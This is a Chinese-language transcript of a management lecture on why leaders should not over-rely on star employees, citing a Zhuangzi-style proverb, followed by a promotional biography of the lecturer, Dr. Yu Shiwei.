来看最后一句话,结论,你不要太纵容明星。因为明星有一个缺点,他们是顶点高手,还互相排挤,而且还不驯服,最重要的是这个还是他的贡献,所以他们并不感恩,这个是我们用明星最大的缺点。他们既不感恩,也不团结。我底下有100个干部,中间没有几个是明星,因为我有个习惯,我不喜欢挖人,你把人一挖来,就会犯这个毛病。中国人寿如果挖一个安泰过来,或者挖一个太平洋的过来,你猜他会怎么讲?我们以前都不是这样的。我这辈子用过很多人,我就知道他们有这个习惯,我们安泰都不是这样的,我们友邦不是这样子的,这叫做坏习惯。因为这些人一过来就喜欢带着他的本土意识过来,带着他们公司的文化过来,于是他就开始找你的茬,批评你的错误。如果万一他的业绩很好呢?他会讲另外一句话,宁波分公司有今天,还不是我的贡献。看看我带了多少客户过来?都是我的客户,所以,他很可能有这种想法。

再讲3个字,IBM,大家就说,坐!如果你说,我们是IBC,大家说出去!差一个字母就出去了,就是这样子,所以有的时候是公司的光环在那里照耀着你。我其实骂过公司的业务员,我做总经理很辛苦,必须要面面俱到,我把我那个业务员刮了一顿,你们一天到晚牛得不得了,什么公司是你的贡献啊,你一个月替公司赚几百万啊!你不看看谁在后方替你制造子弹,谁后方替你运补,谁给你枪支,谁给你炮,你才能打成这个样子。你们在前方固然辛苦,后方的兄弟姐妹也非常的卖命,公司是个团队!我把他们刮了顿。可是我也回过头来刮我们那个财务,我说看看你们这些搞钱的,好象一天到晚谁都欠你一样?报个销像个死样子,瞪着两只死眼不知道在干什么?从来都不出去,跟兄弟姐妹招呼招呼,也不主动的把报销的钱给人家送过去,等人家来找你,结果你还在洗手间,等了半天,又出去吃饭了,要等到下午。所以这个兄弟姐妹大家打仗,前方的人去那里枪林弹雨,炮火紧急,你就在后面努力地制造枪弹啊!大家要合作吗!所以我也把我们的财务劈里啪啦骂了一顿。因为我知道每个地方都有本位主义,都以为自己了不起,在公司很重要,其实讲穿了,没有合作什么都是假的,所以,我必须面面俱到,每个人的缺点我都要讲到。

刚好,我因为统统都干过,很多部门我统统都干过,所以今天干到总经理,我才敢把他们叫过来刮,因为我很知道每个部门有他的弱点,就会犯这个毛病。一天到晚都在搞明星高手。那么我们把结论做出来,这就是我们伟大的祖先,春秋战国时期庄子讲过这么句名言,快马先死,宝刀先钝,良木先伐。这是庄子的名言。有人说营销管理服务的胡副总,胡副总是一匹快马,结果我们打仗也骑他,送信也骑他,销售也骑他,这个胡副总很快就报销了。所以,快马先死,宝刀先钝。杀敌用这把刀,切肉也用这把刀,劈柴火也用这把刀,这个刀很快就钝。去贵高原这一带很多好的木头就不见呢?砍光了,留下来的却是很难看的。厉害,我们庄子2000多年前,就会讲出这种话,快马先死,宝刀先钝,良木先伐。结果我得到的是两个心得。我们如果常常重视明星,对明星本身是不公平。因为你会常常喜欢找他,啊呀!老胡做事很好的,老胡,老胡,胡兄过来一下,我们就活活把胡兄累死了。这个对他来讲是一种不公平。

第二个是对我们是不公平,如果单总的眼中康远只是那胡兄,那么莫非我们都在吃闲饭喽!所以我们不能常常讲明星就是这个意思,第一个对明星自己不公平,因为我们把过度的责任加到他的身上。第二个对其他人的不公平,因为眼中只有超级巨星,就漠视了别人的贡献,所以这里是为什么?就是我们不要去讲5%的明星,要注意到这个公司的95%其实是一般的,而替公司真正赚钱的都是95%,并不是那个明星。这个事情要永远摆在心上。
第10个常犯毛病完毕。

关于余世维

余世维博士是一位极具学习力的学习型人才。他曾是多所国际知名学府的佼佼者,获得美国诺瓦大学公共决策博士,哈佛大学企管博士后,牛津大学国际经济博士后学位,是一位学识广博,文化积淀深厚的经济学教授。

余博士虽出生台湾,但足迹遍及世界各地。他曾任:日本航空公司台湾地区副总经理、美爽爽化妆品公司驻美副总经理、泰华土地开发公司(泰国工业区)总经理、谊联企业股份有限公司副总经理、全渌企业青岛研发中心总经理、美国富顿集团中国总经理。几十年的商海搏击,丰富的阅历和经验,不断的学习和成长,使余博士不仅成为一位杰出的企业家,而且成了一名优秀的企业咨询师、著名的企管顾问。余博士现任上海优仕企业管理咨询有限公司首席顾问、上海慧泉企业管理咨询有限公司董事、总经理。

余博士擅长市场经济环境中的企业经营管理,从企业战略制定到方针目标的量化展开,均有其独到之处,能实实在在地为企业提供个性化的解决方案。余博士为企业度身定制的内训课程,更是企业确立新观念、解决存在问题的高效处方。具有国际演讲大师美誉的余博士的授课,”寓观念于谈笑间,蕴哲理于诙谐中”,风格生动、幽默,讲解深入浅出。不仅案例丰富,且提供多种实用的解决问题之工具及技巧。对参训者具有极大的吸引力、感染力和意想不到的后续效果。近年来,他为日本航空、统一、安泰保险、德国莱茵、紫江集团、3M、飞利浦、柯达、朗讯、西门子、ABB、贝尔、史克华瑞制药、立达制药、日本第一制药、三得利、联华超市、中国电信、摩托罗拉、金光纸业等多家著名企业做过企业文化、21世纪成功经理人、决策陷阱与反面思考、情商与冲突管理、MRPⅡ、全脑思考与创意思维、市场竞争策略与策略的选择、客户信用管理及如何防止呆帐的发生、如何有效地参与和主持会议、预测、预算与成本控制等内训课程,深受企业好评。

余博士不仅是咨询业一颗璀璨的明星,更是一位极富爱国精神的有识之士。他有心凭借”慧泉咨询”这个平台,把自己前半生所积累的各种资源进行整合,集团队的智能,为发展中的中国企业提供源源不断的智能源泉。为中国经济的腾飞,为21世纪成为中国人的世纪而贡献自己的一份薄力。